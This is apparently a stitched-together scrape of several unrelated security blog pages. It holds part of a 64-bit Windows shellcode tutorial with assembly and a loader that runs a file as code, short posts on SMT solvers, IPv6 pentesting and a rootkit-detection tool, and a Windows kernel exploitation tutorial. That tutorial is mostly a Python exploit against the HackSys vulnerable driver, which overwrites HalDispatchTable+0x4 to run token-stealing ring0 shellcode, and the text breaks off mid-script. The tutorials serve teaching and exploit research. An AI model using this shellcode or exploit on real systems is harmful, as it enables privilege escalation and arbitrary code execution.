frame in case we call loadlibrary` `start:`` ``mov r8, gs:[60h] ;peb`` ``mov
r8, [r8+18h] ;peb loader data`` ``lea r12, [r8+10h] ;InLoadOrderModuleList
(list head) - save for later`` ``mov r8, [r12] ;follow _LIST_ENTRY->Flink to
first item in list`` ``cld` `for_each_dll: ;r8 points to current
_ldr_data_table_entry` ` ``mov rdi, [r8+60h] ;UNICODE_STRING at 58h, actual
string buffer at 60h`` ``mov rsi, rcx ;pointer to dll we're looking for`
`compare_dll:`` ``lodsb ;load character of our dll name string`` ``test al, al
;check for null terminator`` ``jz found_dll ;if at the end of our string and
all matched so far, found it` ` ``mov ah, [rdi] ;get character of current
dll`` ``cmp ah, 61h ;lowercase 'a'`` ``jl uppercase`` ``sub ah, 20h ;convert
to uppercase` `uppercase:`` ``cmp ah, al`` ``jne wrong_dll ;found a character
mismatch - try next dll` ` ``inc rdi ;skip to next unicode character`` ``inc
rdi`` ``jmp compare_dll ;continue string comparison` `wrong_dll:`` ``mov r8,
[r8] ;move to next _list_entry (following Flink pointer)`` ``cmp r8, r12 ;see
if we're back at the list head (circular list)`` ``jne for_each_dll` ` ``xor
rax, rax ;DLL not found`` ``jmp done` `found_dll:`` ``mov rbx, [r8+30h] ;get
dll base addr - points to DOS "MZ" header` ` ``mov r9d, [rbx+3ch] ;get DOS
header e_lfanew field for offset to "PE" header`` ``add r9, rbx ;add to base -
now r9 points to _image_nt_headers64`` ``add r9, 88h ;18h to optional header +
70h to data directories`` ``;r9 now points to _image_data_directory[0] array
entry`` ``;which is the export directory` ` ``mov r13d, [r9] ;get virtual
address of export directory`` ``test r13, r13 ;if zero, module does not have
export table`` ``jnz has_exports` ` ``xor rax, rax ;no exports - function will
not be found in dll`` ``jmp done` `has_exports:`` ``lea r8, [rbx+r13] ;add dll
base to get actual memory address`` ``;r8 points to _image_export_directory
structure (see winnt.h)` ` ``mov r14d, [r9+4] ;get size of export directory``
``add r14, r13 ;add base rva of export directory`` ``;r13 and r14 now contain
range of export directory`` ``;will be used later to check if export is
forwarded` ` ``mov ecx, [r8+18h] ;NumberOfNames`` ``mov r10d, [r8+20h]
;AddressOfNames (array of RVAs)`` ``add r10, rbx ;add dll base` ` ``dec ecx
;point to last element in array (searching backwards)``for_each_func:`` ``lea
r9, [r10 + 4*rcx] ;get current index in names array` ` ``mov edi, [r9] ;get
RVA of name`` ``add rdi, rbx ;add base`` ``mov rsi, rdx ;pointer to function
we're looking for` `compare_func:`` ``cmpsb`` ``jne wrong_func ;function name
doesn't match` ` ``mov al, [rsi] ;current character of our function`` ``test
al, al ;check for null terminator`` ``jz found_func ;if at the end of our
string and all matched so far, found it` ` ``jmp compare_func ;continue string
comparison` `wrong_func:`` ``loop for_each_func ;try next function in array` `
``xor rax, rax ;function not found in export table`` ``jmp done` `found_func:
;ecx is array index where function name found` ` ``;r8 points to
_image_export_directory structure`` ``mov r9d, [r8+24h] ;AddressOfNameOrdinals
(rva)`` ``add r9, rbx ;add dll base address`` ``mov cx, [r9+2*rcx] ;get
ordinal value from array of words` ` ``mov r9d, [r8+1ch] ;AddressOfFunctions
(rva)`` ``add r9, rbx ;add dll base address`` ``mov eax, [r9+rcx*4] ;Get RVA
of function using index` ` ``cmp rax, r13 ;see if func rva falls within range
of export dir`` ``jl not_forwarded`` ``cmp rax, r14 ;if r13 <= func < r14 then
forwarded`` ``jae not_forwarded` ` ``;forwarded function address points to a
string of the form <DLL name>.<function>`` ``;note: dll name will be in
uppercase`` ``;extract the DLL name and add ".DLL"` ` ``lea rsi, [rax+rbx]
;add base address to rva to get forwarded function name`` ``lea rdi, [rsp+30h]
;using register storage space on stack as a work area`` ``mov r12, rdi ;save
pointer to beginning of string` `copy_dll_name:`` ``movsb`` ``cmp byte ptr
[rsi], 2eh ;check for '.' (period) character`` ``jne copy_dll_name` ` ``movsb
;also copy period`` ``mov dword ptr [rdi], 004c4c44h ;add "DLL" extension and
null terminator` ` ``mov rcx, r12 ;r12 points to "<DLL name>.DLL" string on
stack`` ``call r15 ;call LoadLibraryA with target dll` ` ``mov rcx, r12
;target dll name`` ``mov rdx, rsi ;target function name`` ``jmp start ;start
over with new parameters` `not_forwarded:`` ``add rax, rbx ;add base addr to
rva to get function address``done:`` ``add rsp, 28h ;clean up stack`` ``ret`
`lookup_api endp` `end`  
---  
### Building

In the past I had developed 32-bit shellcode using the free and open-source
Netwide Assembler \(NASM\), but when going through the exercise of learning
the 64-bit variety I figured I would try it out with the Microsoft Assembler
\(MASM\) instead. One problem quickly became apparent: MASM offers no way
\(that I know of\) to generate raw binary machine code as opposed to an .exe
file\! All is not lost though, the code bytes can be extracted from the .exe
file easily enough \(but in the future I might go back to NASM\).

First build a regular executable \(note that no `/defaultlib` arguments are
required – this code does not directly import any functions from DLLs because
it looks them up itself\):

`ml64 shell64.asm /link /entry:main`

Then use dumpbin to display the section headers, and take note of the
**virtual size** and **file pointer to raw data** for the .text section:

`dumpbin /headers shell64.exe`

[code]

    SECTION HEADER #1
       .text name
         **1B2 virtual size**
        1000 virtual address (0000000140001000 to 00000001400011B1)
         200 size of raw data
         **200 file pointer to raw data** (00000200 to 000003FF)
       [...]
[/code]

Converting these numbers to decimal, this means we need to extract 434
\(**0x1b2**\) bytes beginning at offset 512 \(**0×200**\) in the file. This
can be done with a hex editor, or with the following command if you have a
Windows version of **dd** laying around \(I’m using Cygwin\):

`dd if=shell64.exe of=shell64.bin bs=1 count=434 skip=512`

Now we have a file shell64.bin containing our shellcode. I like to open it in
IDA Pro the first time and make sure it looks right.

### Testing

The following test program simply loads data from a file into memory and then
transfers execution to it. It supports an optional argument **-d** which will
insert a debugger breakpoint prior to calling the shellcode. All of the error-
handling code is long and tedious, yes, but debugging shellcode can be
difficult enough without having to worry about whether the test program is
working correctly. There is also a free tool called testival available for
testing shellcode, which supposedly has some nice features but I have not
personally tried it.

Note the call to **VirtualProtect\(\)** to enable execute permission on the
allocated memory. This is necessary because the process heap memory is non-
executable by default on 64-bit Windows. This is called Data Execution
Prevention \(DEP\) and was designed specifically as a security measure.
Without the VirtualProtect\(\) call, the program will crash with an Access
Violation on the first instruction of the shellcode \(debugging note: the
**\!vprot** command in WinDbg can be used to display the memory permissions
for a given address\). Bypassing DEP involves a technique called _Return-
Oriented Programming_ \(ROP\) which is beyond the scope of this article \(see
mitigations section at the end\).

Also note the use of _compiler intrinsics_ to insert the debugger breakpoint.
Inline assembly language is not allowed by the x64 Visual C++ compiler, so we
can no longer write `__asm int 3` to trigger a debugger as in x86 and must use
the `__debugbreak()` macro instead \(it produces the same `int 3` opcode\).
Take a look through **intrin.h** – there are numerous such macros available.

?

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374| `//runbin.c` `#include <windows.h>``#include <stdio.h>``#include <io.h>``#include <stdlib.h>``#include <malloc.h>``#include <fcntl.h>``#include <intrin.h>` `typedef` `void` `(*FUNCPTR)(); ` `int` `main(``int` `argc, ``char` `**argv)``{`` ``FUNCPTR func;`` ``void` `*buf;`` ``int` `fd, len;`` ``int` `debug;`` ``char` `*filename;`` ``DWORD` `oldProtect;` ` ``if` `(argc == 3 && ``strlen``(argv[1]) == 2 && ``strncmp``(argv[1], ``"-d"``, 2) == 0) {`` ``debug = 1;`` ``filename = argv[2];`` ``} ``else` `if` `(argc == 2) {`` ``debug = 0;`` ``filename = argv[1];`` ``} ``else` `{`` ``fprintf``(stderr, ``"usage: runbin [-d] <filename>\n"``);`` ``fprintf``(stderr, ``" -d insert debugger breakpoint\n"``);`` ``return` `1;`` ``}` ` ``fd = _open(filename, _O_RDONLY | _O_BINARY);` ` ``if` `(-1 == fd) {`` ``perror``(``"Error opening file"``);`` ``return` `1;`` ``}` ` ``len = _filelength(fd);` ` ``if` `(-1 == len) {`` ``perror``(``"Error getting file size"``);`` ``return` `1;`` ``}` ` ``buf = ``malloc``(len);` ` ``if` `(NULL == buf) {`` ``perror``(``"Error allocating memory"``);`` ``return` `1;`` ``}` ` ``if` `(0 == VirtualProtect(buf, len, PAGE_EXECUTE_READWRITE, &oldProtect)) {`` ``fprintf``(stderr, ``"Error setting memory executable: error code %d\n"``, GetLastError());`` ``return` `1;`` ``} ` ` ``if` `(len != _read(fd, buf, len)) {`` ``perror``(``"error reading from file"``);`` ``return` `1;`` ``}` ` ``func = (FUNCPTR)buf;` ` ``if` `(debug) {`` ``__debugbreak();`` ``}` ` ``func();` ` ``return` `0;``}`  
---|---  
Build the test program with:

`cl runbin.c`

Then test the shellcode as follows:

`runbin shell64.bin`

If all goes well the message box should be seen:

<img src='img/Temp2_9933.png' width='166' height='192' alt='HelloWorld' />

If you want to step through it in a debugger, add the –d option:

`runbin –d shell64.bin`

For this to work, a Just-In-Time \(JIT\) debugger \(also known as postmortem
debugger\) must be configured on the system. To enable WinDbg as the JIT
debugger, run `windbg –I` from the command line. For more information see
Configuring Automatic Debugging.

### Comments

This shellcode was written from scratch with the goal of making it easy to
understand \(as much as shellcode can be anyway\) and to demonstrate how
everything works. It is not the smallest or most optimized code possible.
There are many other published shellcode examples out there, and the
Metasploit source code is particularly worth a look \(the path is
/external/source/shellcode/windows/x64/src/\).

  * Most shellcode does not handle forwarded exports as in this example, because it bloats and complicates the code and can be worked around by determining in advance if the function is forwarded and just writing your code to call the ultimate target instead. \(The only catch is that whether an export is forwarded can change between operating system versions or even service packs, so supporting forwarded exports does in fact make the shellcode more portable.\)
  * A common variation on the technique for locating a function is to iterate through the export table computing a “hash” of each function name, and then comparing it to a pre-computed hash value of the name of the function we’re interested in. This has the advantage of making the shellcode smaller, particularly if it uses many API functions with lengthy names, as the code only needs to contain short hash values rather than full strings like “ExitProcess”. The technique also serves to obscure which functions are being called and has even been used by stand-alone malicious executables for this purpose. Metasploit goes even further and computes a single hash that covers both the function name and DLL name.
  * It is also common practice to “encrypt” or “encode” the shellcode \(typically with just a simple XOR type of algorithm rather than true strong encryption\), for the purpose of obfuscation and/or avoiding particular byte values in the code \(such as zeroes\) that could prevent an exploit from working. The encrypted code is then prepended with a “decoder” stub that decrypts and executes the main code.
  * Most shellcode does not bother with the error handling I put in place to return zero if the DLL or function cannot be found, again because it makes the code larger and is not necessary once everything is tested.
  * The lookup\_api function does not entirely behave itself according to the x64 calling conventions – in particular it does not bother to save and restore all of the registers that are deemed _non-volatile_. \(A function is allowed to modify rax, rcx, rdx, r8, r9, r10, and r11, but should preserve the values of all others\). It also makes an assumption that r15 will point to LoadLibraryA if needed for forwarded functions.
  * Metasploit and others use NASM instead of MASM as the assembler \(probably a good call given the aforementioned limitation of MASM for outputting raw binary, also NASM is open source and runs on Linux and other platforms\).
  * Metasploit uses decimal numbers for the various offsets into the data structures whereas I prefer hex \(“You might be a geek if…”\).

### Mitigations

Unfortunately for exploit developers and fortunately for PC users, the latest
versions of Windows employ a variety of effective exploit mitigation
technologies. None of these features truly eliminate vulnerabilities but they
can make it significantly more difficult to execute arbitrary code via an
exploit as opposed to simply crashing the program. For more information on
many of these mitigations and techniques for bypassing them, the Corelan
exploit writing tutorials are excellent \(32-bit centric but still mostly
applicable to x64\).

  * Data Execution Prevention \(DEP\) – This was discussed earlier regarding the VirtualProtect\(\) call in the test program. By default the stack and heap are configured to use non-executable memory pages which trigger an Access Violation if code attempts to execute there. DEP can be bypassed using Return-Oriented Programming \(ROP\), where snippets of existing executable code on the system are executed in sequence to accomplish a particular task.
  * Address Space Layout Randomization \(ASLR\) – Rather than loading DLLs and EXEs at constant base addresses, the operating system randomly varies the load address \(at least across reboots, not necessarily between every invocation of a program\). ASLR does not prevent shellcode from executing \(this example code runs just fine with it\), but it makes it more difficult to transfer execution to the shellcode in the first place. It also makes bypassing DEP using ROP much more difficult. There are several approaches to bypassing ASLR, including the use of a secondary information-disclosure vulnerability to obtain the base address of a module.
  * Stack cookies – Compiler-generated code is inserted before and after functions to detect if the return address on the stack has been overwritten, making it more difficult to exploit stack-based buffer overflow vulnerabilities.
  * Structured Exception Handler \(SEH\) overwrite protection – this is not applicable to x64 because exception handlers are not stored on the stack.
  * Export Address Table Filtering \(EAF\) – This is a new option released as part of the Enhanced Mitigation Experience Toolkit \(EMET\) in November 2010. It is designed to block shellcode from looking up API addresses by accessing DLL export tables, and works by setting a hardware breakpoint on memory access to certain data structures. Microsoft acknowledges that it can be easily bypassed but argues that it will break almost all shellcode currently in use today, and that EMET can be updated in response to new attack techniques at much more frequent intervals than new releases of Windows are possible. See this article on bypassing EAF for details.

← Windows Assembly Languages

64-bit Device Driver Development →

© 2011 McDermott Cybersecurity, LLC  
---  
Vimium has been updated to 1.30.x

# SMT Solvers Summerschool at MIT « Don't Stuff Beans Up Your Nose

**Created:**| _9/7/2011 12:00:31 AM_  
---|---  
**Updated:**| _9/7/2011 12:00:31 AM_  
**Author:**| __  
**Tags:**| _SMT_  
  

Don't Stuff Beans Up Your Nose

Nerdy things…

# SMT Solvers Summerschool at MIT

_Posted on June 20, 2011_ by _s7ephen_

0

  

<img src='img/Temp2_7170.jpg' width='594' height='250'
alt='smt_summer_school_nametags' />

  

<img src='img/Temp2_7168.jpg' width='259' height='173' />Earlier this summer
Beans attended the weeklong SMT Solver Summer school held at MIT campus in
Boston, Mass. Over the last few years having seen some of the presentations by
Pablo Sole on DEPLIB, blogposts by Sean Heelan, and having messed around a
little bit with the REIL in BinNavi we were really curious to get a bigger
picture on SMT Solvers. What was the current state of research on this stuff?
and how were other industries applying it? Sean Heelan has a great series of
blogposts that summarize all the days of presentations so we aren’t going to
parrot any of that. Check out his great blog posts. Additionally, all the
presentations, presentation summaries, presenter bios, and even some videos
are available on a publicly accessible MIT wiki. The other Steve has also
written a bit about his experience at Infiltrate Conference and the SMT
Solver/DEPLIB talks that were given there. Pablo Sole’s EkoParty talk on
DEPLIB is also available here.

In general \(I personally\) found the SMT Summerschool to be very academic and
high-level. Much of it was over my head. But this was good and bad. It was a
good experience because I \(perhaps masochistically\) like to be exposed to
new things especially things that I know nothing about. The “bad” part of all
of this was that of what I could comprehend \(with the exception of a few
presentations\) I found the ideas to be spectacular but completely divorced
from any kind of practical implementation.

For example: In the presentation: Liquid Types: SMT Solver-based Types the
researcher \(Ranjit Jhala\) demonstrated how a simple high-level type system
can be used to describe many “insecure patterns” in an<img
src='img/Temp2_7169.jpg' width='300' height='226' /> abstract way so that a
user needs not fumble with building these constraints by hand. During the
first half of his presentation I began to get really excited and when it came
closer to time for demonstration of the tools and such, it was partially
implemented for use only with OCAML \(with C support maybe later\)\! This to
me was such a big let-down, and from the comments and questions of others in
the audience, I was not the only one. These kinds of post-presentations
discussions were a common theme that demonstrated how divorced academia is
from industry. In many of the Q&A sessions small discussions would break out
between presenters and audience members on the practicality of implementation.
The age old tension between the purity of academia and the “get it done so
it’s usable” mentality of industry.

Of all of the presentations most relevant to vulnerability research, these
were my favorites because the concepts were the most accessible for me:

  * BitBlaze & WebBlaze: Tools for computer security using SMT Solvers
  * Constraint Solving Challenges in Dynamic Symbolic Execution
  * Liquid Types: SMT Solver-based Types
  * SMT Solver-based Compiler Optimization Verification
  * SAGE: Automated Whitebox Fuzzing using SMT solvers
  * Symbolic Execution and Automated Exploit Generation

Of all the talks, the Constraint Solving Challenges in Dynamic Symbolic
Execution was probably the best introduction to the use of SMT Solvers for
basic vulnerability research. The researchers leveraged symbolic execution and
the STP constraint solver to find bugs laying dormant in GNU CoreUtils. Some
of these bugs were simple enough to trigger with command-line arguments \(see
slide 36 “Ten Command Lines of Death”\).

In the end, it was a great experience to have participated in the SMT Summer
School. I learned a lot and got interested in new and different applications
for SMT Solvers…but I will probably have to work with them a bit more before I
can get more value from another conference like this.

Also a very short slideshow of some photos taken during the SMT Summer School
are here.

# SNOsoft Research Team: Pentesting IPv6 vs IPv4

**Created:**| _1/17/2011 9:34:07 PM_  
---|---  
**Updated:**| _1/17/2011 9:34:23 PM_  
**Author:**| __  
**Tags:**| _pentest ipv6_  
  

### Pentesting IPv6 vs IPv4

We’ve heard a bit of “noise” about how IPv6 may impact network penetration
testing and how networks may or may not be more secure because of IPv6. Lets
be clear, anyone telling you that IPv6 makes penetration testing harder
doesn’t understand the first thing about real penetration testing.

**Whats the point of IPv6?**

IPv6 was designed by the Internet Engineering Task Force \(“IETF”\) to address
the issue of IPv4 address space exhaustion. IPv6 uses a 128-bit address space
while IPv4 is only 32 bits. This means that there are 2128 possible addresses
with IPv6, which is far more than the 232addresses available with IPv4. This
means that there are going to be many more potential targets for a penetration
tester to focus on when IPv6 becomes the norm.

**What about increased security with IPv6?**

The IPv6 specification mandates support for the Internet Protocol Security
\(“IPSec”\) protocol suite, which is designed to secure IP communications by
authenticating and encrypting each IP Packet. IPSec operates at the Internet
Layer of the Internet Protocol suite and so differs from other security
systems like the Secure Socket Layer, which operates at the application layer.
This is the only significant security enhancement that IPv6 brings to the
table and even this has little to no impact on penetration testing.

**What some penetration testers are saying about IPv6.**

Some penetration testers argue that IPv6 will make the job of a penetration
testing more difficult because of the massive increase in potential targets.
They claim that the massive increase in potential targets will make the
process of discovering live targets impossibly time consuming. They argue that
scanning each port/host in an entire IPv6 range could take as long as
13,800,523,054,961,500,000 years. But why the hell would anyone waste their
time testing potential targets when they could be testing actual live targets?

The very first step in any penetration test is effective and efficient
reconnaissance. Reconnaissance is the military term for the passive gathering
of intelligence about an enemy prior to attacking an enemy. There are
countless ways to perform reconnaissance, all of which must be adapted to the
particular engagement. Failure to adapt will result bad intelligence as no two
targets are exactly identical.

A small component of reconnaissance is target identification. Target
identification may or may not be done with scanning depending on the nature of
the penetration test. Specifically, it is impossible to deliver a true stealth
/ covert penetration test with automated scanners. Likewise it is very
difficult to use a scanner to accuratley identify targets in a network that is
protected by reactive security systems \(like a well configured IPS that
supports black-listing\). So in some/many cases doing discovery by scanning an
entire block of addresses is ineffective.

A few common methods for target identification include Social Engineering, DNS
enumeration, or maybe something as simple as asking the client to provide you
with a list of targets. Not so common methods involve more aggressive social
reconnaissance, continued reconnaissance after initial penetration, etc.
Either way, it will not take 13,800,523,054,961,500,000 years to identify all
of the live and accessible targets in an IPv6 network if you know what you are
doing.

Additionally, penetration testing against 12 targets in an IPv6 network will
take the same amount of time as testing 12 targets in an IPv4 network. The
number of real targets is what is important and not the number of potential
targets. It would be a ridiculous waste of time to test 2128 IPv6 Addresses
when only 12 IP addresses are live. Not to mention that increase in time would
likely translate to an increase in project cost.

So in reality, for those who are interested, hacking an IPv6 network won’t be
any more or less difficult than hacking an IPv4 network. Anyone that argues
otherwise either doesn’t know what they are doing or they are looking to
charge you more money for roughly the same amount of work.

  

# WinUnhide – Forensic Tool for Windows « IT Vulnerability & ToolsWatch

**Created:**| _10/25/2011 11:29:54 AM_  
---|---  
**Updated:**| _10/25/2011 11:29:54 AM_  
**Author:**| __  
**Tags:**| _Forensics windows software_  
  

## WinUnhide – Forensic Tool for Windows

By MaxiSoler on 24 October 2011 in Tools with No Comments

_**WinUnhide**_ is a forensic tool to find hidden processes and TCP/UDP ports
by rootkits.

WinUnhide is based on Unhide \(Unix\), but now for Windows with a different
concept.

> Download **WinUnhide**

# Windows Kernel Exploitation Tutorial Part 3: Arbitrary Memory Overwrite
\(Write-What-Where\) - rootkit

**Created:**| _3/7/2018 8:54:38 AM_  
---|---  
**Updated:**| _3/7/2018 8:54:38 AM_  
**Author:**| _wishi_  
**Tags:**| _windows kernel_  
  

  

# Windows Kernel Exploitation Tutorial Part 3: Arbitrary Memory Overwrite
\(Write-What-Where\)

September 29, 2017 rootkit

## Overview

In the previous part, we looked into exploiting a basic kernel stack overflow
vulnerability.

This part will focus on another vulnerability, Arbitrary Memory Overwrite,
also known as Write-What-Where vulnerability. Basic exploitation concept for
this would be to overwrite a pointer in a Kernel Dispatch Table \(Where\) with
the address to our shellcode \(What\).

Again, thanks to @hacksysteam for the driver and @FuzzySec for the awesome
writeup on the subject.

* * *
## Analysis

To analyze the vulnerability, let’s look into the _ArbitraryOverwrite.c _file
in the source code.

12345678910111213141516 | \#ifdef SECURE // Secure Note: This is secure because the developer is properly validating if address // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead\(\) // routine before performing the write operation ProbeForRead\(\(PVOID\)Where, sizeof\(PULONG\_PTR\), \(ULONG\)\_\_alignof\(PULONG\_PTR\)\); ProbeForRead\(\(PVOID\)What, sizeof\(PULONG\_PTR\), \(ULONG\)\_\_alignof\(PULONG\_PTR\)\); \*\(Where\) = \*\(What\);\#else DbgPrint\("\[+\] Triggering Arbitrary Overwrite\n"\); // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability // because the developer is writing the value pointed by 'What' to memory location // pointed by 'Where' without properly validating if the values pointed by 'Where' // and 'What' resides in User mode \*\(Where\) = \*\(What\);  
---|---  
Again, a really good job in explaining the vulnerability and the fix as well.
The issue here is the lack of validation of the two pointers \(what and
where\), whether they reside in user space or kernel space. The secure version
properly checks if both the pointers reside in the User Space or not using the
_ProbeForRead_ function.

Now that we understand the vulnerability, we need the IOCTL code to trigger it
as well. In the previous part, we just looked into the _IrpDeviceIoCtlHandler_
call for the IOCTL code. But this time, we’d look into the
_HackSysExtremeVulnerableDriver.h_ file for all the codes and calculate the
IOCTL code from it.

1 | \#define HACKSYS\_EVD\_IOCTL\_ARBITRARY\_OVERWRITE CTL\_CODE\(FILE\_DEVICE\_UNKNOWN, 0x802, METHOD\_NEITHER, FILE\_ANY\_ACCESS\)  
---|---  
The _CTL\_CODE_ macro is used to create a unique system IOCTL, and from the
above macro, we can calculate the IOCTL in python by running the following
command:

1 | hex\(\(0x00000022 << 16\) | \(0x00000000 << 14\) | \(0x802 << 2\) | 0x00000003\)  
---|---  
This should give you IOCTL of _0x22200b_.

Now, let’s analyze the _TriggerArbitraryOverwrite_ function in IDA:

<img src='img/arb1.png' width='958' height='588' />

The thing to note here is the length of 8 bytes. First 4 bytes being the What,
and the next 4 bytes to be the Where.

* * *
## Exploitation

Let’s get to the fun part now. We’ll take the skeleton script from our
previous part, modify the IOCTL and see if it works.

123456789101112131415161718192021 | import ctypes, sys, structfrom ctypes import \*from subprocess import \* def main\(\): kernel32 = windll.kernel32 psapi = windll.Psapi ntdll = windll.ntdll hevDevice = kernel32.CreateFileA\("\\\\\\\\.\\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None\) if not hevDevice or hevDevice == -1: print "\*\*\* Couldn't get Device Driver handle" sys.exit\(-1\) buf = "A"\*100 bufLength = len\(buf\) kernel32.DeviceIoControl\(hevDevice, 0x22200b, buf, bufLength, None, 0, byref\(c\_ulong\(\)\), None\) if \_\_name\_\_ == "\_\_main\_\_": main\(\)  
---|---  
<img src='img/arb2.png' width='464' height='146' />

Working fine. Now let’s start building our exploit.

The first step to exploit this vulnerability is to find some address in kernel
space to overwrite safely and reliably, without crashing the machine. Luckily,
there’s a rarely used function in the kernel _NtQueryIntervalProfile_ , that
calls another function _KeQueryIntervalProfile_ , which again calls
_HalDispatchTable+0x4_.

I know it’s confusing, but a really good readup on the matter is available at
poppopret blog, that accurately summarises the flow of the execution for the
exploitation:

  1. Load the kernel executive _ntkrnlpa.exe_ in userland in order to be able to get the offset of _HalDispatchTable_ and then to deduce its address in kernelland.
  2. Retrieve the address of our shellcode.
  3. Retrieve the address of the syscall _NtQueryIntervalProfile\(\)_ within ntdll.dll.
  4. Overwrite the pointer at nt\!HalDispatchTable+0x4 with the address of our shellcode function.
  5. Call the function _NtQueryIntervalProfile\(\)_ in order to launch the shellcode

Let’s analyze the flow to _nt\!HalDispatchTable+0x4_ by disassembling the
_NtQueryIntervalProfile_ function:

<img src='img/arb3.png' width='663' height='663' />

Let’s go into the _KeQueryIntervalProfile_ call:

<img src='img/arb4.png' width='757' height='395' />

This is the pointer that we need to overwrite, so that it points to our
shellcode. In summary, if we overwrite this pointer, and call the
_NtQueryIntervalProfile_ , the execution flow should land onto our shellcode.

Simple enough, we’d proceed with building our exploit step by step.

First, we would enumerate the load address for all the device drivers. For
this, we’d use the _EnumDeviceDrivers_ function. Then we’d find the base name
of the drivers through _GetDeviceDriverBaseNameA_ function. And fetch the base
name and address for _ntkrnlpa.exe._

12345678910111213141516171819 | \#Enumerating load addresses for all device driversenum\_base = \(c\_ulong \* 1024\)\(\)enum = psapi.EnumDeviceDrivers\(byref\(enum\_base\), c\_int\(1024\), byref\(c\_long\(\)\)\)if not enum: print "Failed to enumerate\!\!\!" sys.exit\(-1\)for base\_address in enum\_base: if not base\_address: continue base\_name = c\_char\_p\('\x00' \* 1024\) driver\_base\_name = psapi.GetDeviceDriverBaseNameA\(base\_address, base\_name, 48\) if not driver\_base\_name: print "Unable to get driver base name\!\!\!" sys.exit\(-1\) if base\_name.value.lower\(\) == 'ntkrnl' or 'ntkrnl' in base\_name.value.lower\(\): base\_name = base\_name.value print "\[+\] Loaded Kernel: \{0\}".format\(base\_name\) print "\[+\] Base Address of Loaded Kernel: \{0\}".format\(hex\(base\_address\)\) break  
---|---  
Now we have the base name and address of _ntkrnlpa.exe,_ let’s calculate the
address of _HalDispatchTable_. We’d load the _ntkrnlpa.exe_ into the memory
through _LoadLibraryExA_ function, and then get the address for
_HalDispatchTable_ through the _GetProcAddress_ function.

123456789101112131415161718 | kernel\_handle = kernel32.LoadLibraryExA\(base\_name, None, 0x00000001\)if not kernel\_handle: print "Unable to get Kernel Handle" sys.exit\(-1\) hal\_address = kernel32.GetProcAddress\(kernel\_handle, 'HalDispatchTable'\) \# Subtracting ntkrnlpa base in user spacehal\_address -= kernel\_handle \# To find the HalDispatchTable address in kernel space, add the base address of ntkrnpa in kernel spacehal\_address += base\_address \# Just add 0x4 to HAL address for HalDispatchTable+0x4hal4 = hal\_address + 0x4 print "\[+\] HalDispatchTable : \{0\}".format\(hex\(hal\_address\)\)print "\[+\] HalDispatchTable+0x4: \{0\}".format\(hex\(hal4\)\)  
---|---  
Final step is to define our What-Where:

  * What –> Address to our shellcode
  * Where –> _HalDispatchTable+0x4_

1234567891011121314 | class WriteWhatWhere\(Structure\): \_fields\_ = \[ \("What", c\_void\_p\), \("Where", c\_void\_p\) \] \#What-Wherewww = WriteWhatWhere\(\)www.What = shellcode\_final\_addresswww.Where = hal4www\_pointer = pointer\(www\) print "\[+\] What : \{0\}".format\(hex\(www.What\)\)print "\[+\] Where: \{0\}".format\(hex\(www.Where\)\)  
---|---  
Combining all of the above, with our shellcode taken from the previous part
\(the token stealing one\), the final exploit looks like:

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112 | import ctypes, sys, structfrom ctypes import \*from subprocess import \* class WriteWhatWhere\(Structure\): \_fields\_ = \[ \("What", c\_void\_p\), \("Where", c\_void\_p\) \] def main\(\): kernel32 = windll.kernel32 psapi = windll.Psapi ntdll = windll.ntdll \#Defining the ring0 shellcode and loading it in VirtualAlloc. shellcode = bytearray\( "\x90\x90\x90\x90" \# NOP Sled "\x60" \# pushad "\x31\xc0" \# xor eax,eax "\x64\x8b\x80\x24\x01\x00\x00" \# mov eax,\[fs:eax+0x124\] "\x8b\x40\x50" \# mov eax,\[eax+0x50\] "\x89\xc1" \# mov ecx,eax "\xba\x04\x00\x00\x00" \# mov edx,0x4 "\x8b\x80\xb8\x00\x00\x00" \# mov eax,\[eax+0xb8\] "\x2d\xb8\x00\x00\x00" \# sub eax,0xb8 "\x39\x90\xb4\x00\x00\x00" \# cmp \[eax+0xb4\],edx "\x75\xed" \# jnz 0x1a "\x8b\x90\xf8\x00\x00\x00" \# mov edx,\[eax+0xf8\] "\x89\x91\xf8\x00\x00\x00" \# mov \[ecx+0xf8\],edx "\x61" \# popad "\x31\xc0" \# xor eax,eax "\x83\xc4\x24" \# add esp,byte +0x24 "\x5d" \# pop ebp "\xc2\x08\x00" \# ret 0x8 \) ptr = kernel32.VirtualAlloc\(c\_int\(0\),c\_int\(len\(shellcode\)\),c\_int\(0x3000\),c\_int\(0x40\)\) buff = \(c\_char \* len\(shellcode\)\).from\_buffer\(shellcode\) kernel32.RtlMoveMemory\(c\_int\(ptr\),buff,c\_int\(len\(shellcode\)\)\) shellcode\_address = id\(shellcode\) + 20 shellcode\_final = struct.pack\("<L",ptr\) shellcode\_final\_address = id\(shellcode\_final\) + 20 print "\[+\] Address of ring0 shellcode: \{0\}".format\(hex\(shellcode\_address\)\) print "\[+\] Pointer for ring0 shellcode: \{0\}".format\(hex\(shellcode\_final\_address\)\) \#Enumerating load addresses for all device drivers, and fetching base address and name for ntkrnlpa.exe enum\_base = \(c\_ulong \* 1024\)\(\) enum = psapi.EnumDeviceDrivers\(byref\(enum\_base\), c\_int\(1024\), byref\(c\_long\(\)\)\) if not enum: print "Failed to enumerate\!\!\!" sys.exit\(-1\) for base\_address in enum\_base: if not base\_address: continue base\_name = c\_char\_p\('\x00' \* 1024\) driver\_base\_name = psapi.GetDeviceDriverBaseNameA\(base\_address, base\_name, 48\) if not driver\_base\_name: print "Unable to get driver base name\!\!\!" sys.exit\(-1\) if base\_name.value.lower\(\) == 'ntkrnl' or 'ntkrnl' in base\_name.value.lower\(\): base\_name = base\_name.value print "\[+\] Loaded Kernel: \{0\}".format\(base\_name\) print "\[+\] Base Address of Loaded Kernel: \{0\}".format\(hex\(base\_address\)\) break \#Getting the HalDispatchTable kernel\_handle = kernel32.LoadLibraryExA\(base\_name, None, 0x00000001\) if not kernel\_handle: print "Unable to get Kernel Handle" sys.exit\(-1\) hal\_address = kernel32.GetProcAddress\(kernel\_handle, 'HalDispatchTable'\) \# Subtracting ntkrnlpa base in user space hal\_address -= kernel\_handle \# To find the HalDispatchTable address in kernel space, add the base address of ntkrnpa in kernel space hal\_address += base\_address \# Just add 0x4 to HAL address for HalDispatchTable+0x4 